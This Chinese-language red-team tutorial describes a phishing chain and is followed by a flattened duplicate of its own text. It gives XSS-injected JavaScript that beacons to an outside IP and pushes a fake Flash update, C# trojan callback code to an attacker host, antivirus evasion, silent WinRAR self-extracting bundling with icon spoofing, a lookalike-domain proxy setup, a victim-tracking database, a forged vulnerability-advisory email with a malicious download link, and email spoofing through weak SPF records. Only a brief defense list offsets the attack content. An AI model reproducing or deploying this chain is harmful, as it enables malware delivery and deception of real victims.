红队攻防系列之花式鱼竿钓鱼篇
字数 1283 2025-08-25 22:59:09

红队攻防系列:花式鱼竿钓鱼技术详解

0x00 钓鱼攻击概述

钓鱼攻击是红队行动中获取初始访问权限的重要手段,其核心在于"思路要骚"。一个成功的钓鱼攻击需要从细节入手,将看似危险的攻击点伪装成最安全的形式,实现蓝队无感知的渗透。

0x01 鱼钩隐藏技术

1.1 XSS注入钓鱼

通过XSS注入恶意JS脚本实现钓鱼加载:

<script src="/hacked.js"></script>

hacked.js关键功能:

  1. UA检测:区分PC端和移动端
  2. 后台API查询:检查目标是否已上钩
  3. 混淆和命名技巧:使用原生ajax提高兼容性
// 重写alert和confirm函数避免安全提示
window.alert = function(name){
    var iframe = document.createElement("IFRAME");
    iframe.style.display = "none";
    iframe.setAttribute("src", 'data:text/plain,');
    document.documentElement.appendChild(iframe);
    window.frames[0].window.alert(name);
    iframe.parentNode.removeChild(iframe);
}

// UA检测函数
function isPc() {
    if(navigator.userAgent.match(/(iPhone|Android)/i)) {
        return false;
    } else {
        return true;
    }
}

// 后台检查函数
function isRise() {
    var xmlHttp;
    if(window.XMLHttpRequest) {
        xmlHttp = new XMLHttpRequest();
    } else {
        xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true");
    xmlHttp.send();
    xmlHttp.onreadystatechange = function() {
        if(xmlHttp.readyState == 4 && xmlHttp.status == 200) {
            var resData = xmlHttp.responseText;
            if(resData == "ok") {
            } else {
                download();
            }
        }
    }
}

// 下载函数
function download(){
    alert("您的FLASH版本过低,请尝试升级后访问该页面!");
    window.location.href = "http://xxx/";
}

// 主入口
window.onload = function(){
    if(!isPc()){
        alert("当前页面只能在电脑PC端中加载,请稍后重试...");
    } else {
        isRise();
    }
}

1.2 钓鱼网站伪造

域名选择:

  • 使用近似域名服务如freenom.com获取相似域名
  • 示例:伪造flash.cn使用flash-cn.cf

技术实现:

  1. 使用香港主机做nginx反向代理绕过备案
  2. 木马命名为flashplayerpp_install_cn.exe
  3. 使用docker容器部署便于更新和管理
docker cp host_path containerID:/var/www/html/cn/

0x02 木马处理技术

2.1 免杀技术

采用shellcode加密方式绕过杀软检测,关键点:

  1. 自定义加载器封装感知函数
  2. 使用C#编写后台通信模块
using System;
using System.Net;
using System.Threading;

namespace testHttp {
    class Program {
        static void Main(string[] args) {
            ThreadStart childref = new ThreadStart(sendLog);
            Thread childThread = new Thread(childref);
            childThread.Start();
        }
        
        public static void sendLog() {
            string url = "http://hackerc.com/api.php?m=api&do=myLogk";
            HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
            request.Method = "HEAD";
            request.Timeout = 100000;
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        }
    }
}

编译选项:

  • 使用window窗口方式编译
  • 实现无控制台提示静默执行

2.2 隐蔽捆绑技术

使用WinRAR自解压捆绑木马与正常程序:

  1. 选择木马和正常程序添加到压缩文件,创建自解压

  2. 高级自解压选项设置:

    • 解压路径:C:\windows\temp
    • 安装选项:分别执行木马和正常程序
    • 静默模式:隐藏所有
    • 更新模式:解压并更新
    • 覆盖模式:覆盖所有文件
  3. 使用Restorator工具修改图标和文件名,使其与正常程序一致

0x03 鱼竿感知系统

3.1 数据库设计

CREATE DATABASE fishperception;
USE fishperception;

CREATE TABLE fish (
    `id` INT AUTO_INCREMENT,
    `ip` VARCHAR(200) DEFAULT NULL,
    `ua` VARCHAR(255) DEFAULT NULL,
    `count` INT DEFAULT NULL,
    `status` VARCHAR(10) DEFAULT NULL,
    primary key(`id`)
);

3.2 API接口设计

  • api.php?m=api&do=myLog:木马执行时调用的API
  • api.php?m=api&do=isExist:JS判断目标是否已上线

3.3 部署方案

使用LAMP的docker环境快速部署:

docker-compose up --build

3.4 Nginx反向代理配置

server {
    listen 80;
    server_name flash-cn.cf;
    location / {
        proxy_redirect off;
        proxy_set_header Host $host;
        proxy_set_header X-Real-Ip $remote_addr;
        proxy_set_header X-Forwarded-For $remote_addr;
        proxy_pass http://139.159.x.x:8005;
    }
}

0x04 钓鱼场景选择

4.1 邮箱钓鱼技术

可信邮箱选择:

  1. 优先选择同单位域名邮箱
  2. 次选高权邮箱如gov等

攻击策略:

  1. 针对性发送,避免大规模群发
  2. 根据组织结构选择中间人目标
  3. 精心设计邮件内容

钓鱼模板示例:

一、漏洞情况分析
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎...
2020年6月23日,国家信息安全漏洞共享平台(CNVD)收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞...
CNVD对该漏洞的综合评级为"高危"。

二、漏洞影响范围
漏洞影响的产品版本包括:Apache Spark <=2.4.5

三、漏洞处置建议
目前,Apache官方已发布新版本修复此漏洞,建议用户立即升级至最新版本:
https://hackker.com/360/xx.zip

4.2 SPF配置漏洞利用

检测方法:

  1. 在线测试:https://emkei.cz/
  2. 命令行检测:
nslookup -type=txt domain

利用工具:

  • Swaks:邮件伪造工具

0x05 实战技巧

  1. 社交工程:利用目标好奇心设计诱饵
  2. 心理压迫:通过言语制造紧迫感
  3. 迂回策略:当首次尝试失败时的备用方案
  4. 及时收手:达到目的后适时终止攻击

0x06 防御建议

  1. 用户安全意识培训
  2. 完善SPF、DKIM、DMARC配置
  3. 终端防护软件部署
  4. 网络流量监控与分析
  5. 多因素认证实施

0x07 总结

钓鱼攻击是一门需要精细操作和创新的技术,成功的钓鱼攻击需要考虑:

  1. 鱼钩的隐蔽性
  2. 木马的免杀能力
  3. 感知系统的完善性
  4. 钓鱼场景的选择
  5. 社会工程学的运用

红队应不断研究新的钓鱼技术和防御规避方法,同时蓝队也应了解这些技术以加强防御。攻防对抗是一个持续演进的过程,需要双方不断学习和适应。

红队攻防系列:花式鱼竿钓鱼技术详解 0x00 钓鱼攻击概述 钓鱼攻击是红队行动中获取初始访问权限的重要手段,其核心在于"思路要骚"。一个成功的钓鱼攻击需要从细节入手,将看似危险的攻击点伪装成最安全的形式,实现蓝队无感知的渗透。 0x01 鱼钩隐藏技术 1.1 XSS注入钓鱼 通过XSS注入恶意JS脚本实现钓鱼加载: hacked.js关键功能: UA检测:区分PC端和移动端 后台API查询:检查目标是否已上钩 混淆和命名技巧:使用原生ajax提高兼容性 1.2 钓鱼网站伪造 域名选择: 使用近似域名服务如freenom.com获取相似域名 示例:伪造flash.cn使用flash-cn.cf 技术实现: 使用香港主机做nginx反向代理绕过备案 木马命名为flashplayerpp_ install_ cn.exe 使用docker容器部署便于更新和管理 0x02 木马处理技术 2.1 免杀技术 采用shellcode加密方式绕过杀软检测,关键点: 自定义加载器封装感知函数 使用C#编写后台通信模块 编译选项: 使用window窗口方式编译 实现无控制台提示静默执行 2.2 隐蔽捆绑技术 使用WinRAR自解压捆绑木马与正常程序: 选择木马和正常程序添加到压缩文件,创建自解压 高级自解压选项设置: 解压路径:C:\windows\temp 安装选项:分别执行木马和正常程序 静默模式:隐藏所有 更新模式:解压并更新 覆盖模式:覆盖所有文件 使用Restorator工具修改图标和文件名,使其与正常程序一致 0x03 鱼竿感知系统 3.1 数据库设计 3.2 API接口设计 api.php?m=api&do=myLog :木马执行时调用的API api.php?m=api&do=isExist :JS判断目标是否已上线 3.3 部署方案 使用LAMP的docker环境快速部署: 3.4 Nginx反向代理配置 0x04 钓鱼场景选择 4.1 邮箱钓鱼技术 可信邮箱选择: 优先选择同单位域名邮箱 次选高权邮箱如gov等 攻击策略: 针对性发送,避免大规模群发 根据组织结构选择中间人目标 精心设计邮件内容 钓鱼模板示例: 4.2 SPF配置漏洞利用 检测方法: 在线测试:https://emkei.cz/ 命令行检测: 利用工具: Swaks:邮件伪造工具 0x05 实战技巧 社交工程:利用目标好奇心设计诱饵 心理压迫:通过言语制造紧迫感 迂回策略:当首次尝试失败时的备用方案 及时收手:达到目的后适时终止攻击 0x06 防御建议 用户安全意识培训 完善SPF、DKIM、DMARC配置 终端防护软件部署 网络流量监控与分析 多因素认证实施 0x07 总结 钓鱼攻击是一门需要精细操作和创新的技术,成功的钓鱼攻击需要考虑: 鱼钩的隐蔽性 木马的免杀能力 感知系统的完善性 钓鱼场景的选择 社会工程学的运用 红队应不断研究新的钓鱼技术和防御规避方法,同时蓝队也应了解这些技术以加强防御。攻防对抗是一个持续演进的过程,需要双方不断学习和适应。